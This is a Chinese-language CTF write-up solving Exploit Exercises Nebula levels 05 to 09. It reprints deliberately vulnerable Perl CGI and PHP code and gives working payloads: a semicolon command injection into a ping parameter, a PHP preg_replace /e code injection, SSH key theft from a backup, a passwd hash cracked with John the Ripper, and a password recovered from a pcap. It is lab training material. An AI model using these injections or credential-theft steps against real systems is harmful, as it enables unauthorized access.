Exploit Exercises Nebula level05-09 Writeup

Nebula level05

Check the flag05 home directory. You are looking for weak directory permissions

在flag05家目录下找弱权限控制。

直接查flag05的home目录,发现.backup和.ssh文件很可疑,.ssh没权限,那就.backup。进去之后发现一个.tgz文件,解压之:

tar zxf /home/flag05/.backup/backup-19072011.tgz -C ~/

此时在自己家目录下也有.ssh文件并具有了flag05的ssh登陆公私钥,这样就可以直接用flag05无密码登陆了。

ssh flag05@localhost

你都是flag05了,做什么知道了吧~~

Nebula level06

The flag06 account credentials came from a legacy unix system.

题目说flag06账户令牌的形式继承于已经被放弃的Unix。

Unix没用过,好惭愧,也不知道什么验证的形式,反正我就直接cat /etc/passwd | more了,然后发现,flag06账户的密码字段不是x而是直接一堆值。Google一下发现,因为passwd的r权限太高(主要很多程序把它当用户数据表),因此Linux采用shadow存放密码,这样passwd里就变成x了(其实老师说过的,但是因为现在都是x,所以也就没留意这个问题)。

OK,既然拿到了flag06密码的密文,那就破解呗。上Kali或者BackTracer5,没这些系统的需要下载并编译John the ripper来跑字典。我在Kali环境中,把密码那段字符串ueqwOCnSGdsuM写入/root目录下的flag06passwd文件中(你也可以写整个flag06在passwd中的那行),之后:

john ~/flag06passwd

基本上瞬间就跑出来密码是hello(赤裸裸的弱口令呀),登陆flag06去爽吧。

Nebula level07

The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.

一个perl脚本,脚本实现了ping主机的功能。

#!/usr/bin/perl
use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; } 

  print("</pre></body></html>");

}

# check if Host set. if not, display normal page, etc
ping(param("Host"));

flag07家目录下有一个thttpf.conf(perl服务器配置)和index.cgi(就是这个脚本)。因此需要执行它。根据程序逻辑,传入的Host参数为ping的地址。漏洞利用思路很简单,传入地址后截断,并执行getflag的代码。

那就开始行动:首先需要看看perl的服务器跑起来没

ps aux | grep thttpd

如果不幸没跑起来,那就用nebula登陆,之后:

sudo -s
su flag07
/usr/sbin/thttpd -C /home/flag07/thttpf.conf

这样先把自己变成root,然后变成flag07,然后把服务器跑起来。当然记得切回level07继续做题。

之后cat thttp.conf发现端口是7007,需要打开界面测试了。因为服务器还没配置网络,无法从远程访问,本着能不配置就不配置的的原则(参见开篇),就用curl或者wget吧(因为这个Linux没有图形界面,因此没有浏览器)。很不幸,curl没有,那就wget吧~

首先测试一下界面:

wget http://localhost:7007/index.cgi?Host=127.0.0.1 -O /home/level07/cgi.html

发现界面OK,之后插入做坏事的代码:

wget http://localhost:7007/index.cgi?Host=127.0.0.1;/bin/getflag -O /home/level07/cgi.html

很不幸,报错。根据错误内容发现参数没有解析完,因此对参数用escape编码:

wget http://localhost:7007/index.cgi?Host=127.0.0.1%3B/bin/getflag -O /home/level07/cgi.html

Done!

Nebula level08

World readable files strike again. Check what that user was up to, and use it to log into flag08 account.

又一个全世界可读文件攻击。看看用户想干嘛,然后进入flag08账户。

题目直接看懵了,什么叫world readable?

进入level08账户,切换到flag08目录,发现一个.pcap文件,恍然大悟,原来world readable是这个意思……所以说音乐啊美术啊也是world readable啊~好一个形容词。

既然是.pcap,那就得分析包。得先把.pcap搞出来到有图形界面的机器上。看来还是要配置网络(上一题白偷懒了,出来混,还是要还的T^T)。其实网络配置也很简单,因为非安装的系统,配个临时的网络配置就可以。进入nebula,之后:

sudo ifconfig eth0 192.168.1.50 netmask 255.255.255.0
sudo ifconfig eth0 up

这样这台机器就有192.168.1.50了ip了,ping一下看看通不通(不通的话查看一下虚拟机的网卡是否开启)。

继续本着偷懒原则,如果不装软件怎么把这个文件拷贝出来呢。那先查查端口:

netstat -anpt

没什么可用端口,不过看到非进程的22端口,想到了sftp。于是:

which sftp

果然有sftp客户端,继续搜索服务器端,无果。不过没事,有客户端就够了。 在另一台有图形界面的Linux中开启SFTP(ip:192.168.1.200),之后在level08中执行:

sftp root@192.168.1.200
put capture.pcap

然后在把capture.pcap拖到wireshark里面,开始分析包。预判应该是用户登录过程没加密,然后留下了登录密码之类的信息。所以不出意外应该是TCP包,于是Follow一下TCP包,一行大字映入眼帘

Password: backdoor...00Rm8.ate

根据经验,一般16进制工具中.都是代表\0,就是字符串结尾(其实.表示不可读字符,一般在一堆字符串中时基本就是\0),所以密码应该是backdoor。尝试登录,错误!于是在wireshark中吧TCP包切换到HEX显示,发现这段数据信息如下:

000000B9  62                  b
000000BA  61                  a
000000BB  63                  c
000000BC  6b                  k
000000BD  64                  d
000000BE  6f                  o
000000BF  6f                  o
000000C0  72                  r
000000C1  7f                  .
000000C2  7f                  .
000000C3  7f                  .
000000C4  30                  0
000000C5  30                  0
000000C6  52                  R
000000C7  6d                  m
000000C8  38                  8
000000C9  7f                  .
000000CA  61                  a
000000CB  74                  t
000000CC  65                  e
000000CD  0d                  .

竟然是7F,查ASCII码表发现7F是Backspace(退格),0D是CR(回车),所以就按照这个顺序重新比划了下,得到密码是backd00Rmate。此题拿下!

Nebula level09

There's a C setuid wrapper for some vulnerable PHP code...

这是一个C用setuid包装后的脆弱的PHP代码……

<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);

  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

看到PHP,心中大喜,总算碰到一个相对熟悉的语言,老乡见老乡,两眼泪汪汪啊~~

flag09目录下有一个可执行的flag09(这就是所谓具有SetUID的C语言包装的PHP解释器吧),还有给出代码的flag09.php。代码逻辑还是很简单的,传入两个参数,一个是文件路径,一个没有用到。根据文件路径读出文件之后把Email那部分读出来,替换掉一些字符(反垃圾邮件),之后输出。

没看出什么有问题的地方,不过传入参数一定是可以利用的点。preg_replace中的e参数用的不多呀,一般都是用i(忽略大小写)。于是查PHP Manual,果不其然,e使preg_replace第二个参数变成函数执行,就和执行eval一样,另外这个参数太危险,在PHP5.5之后废除改用回调函数实现了。一句话木马暴露了!那就构造一下呗。

于是构造文件内容为:

[email abc@def.com\");system(\"getflag]

照理说第二个参数应该被拼接成:

"spam(\"email abc@def.com\");system(\"getflag\")"

这样就能顺利执行两个函数了。很可惜,天不由人愿,整个东西都被当做字符串被扔到spam函数里了。所以这里如果要探究得看一下PHP源码中具体的处理过程。

顿时没思路了……之后Google一下php的preg_replace的e参数的漏洞,发现有利用{${function()}}的技巧。即在{${}}包裹后的函数会被执行。于是:

[email {${system('getflag')}}]

K.O!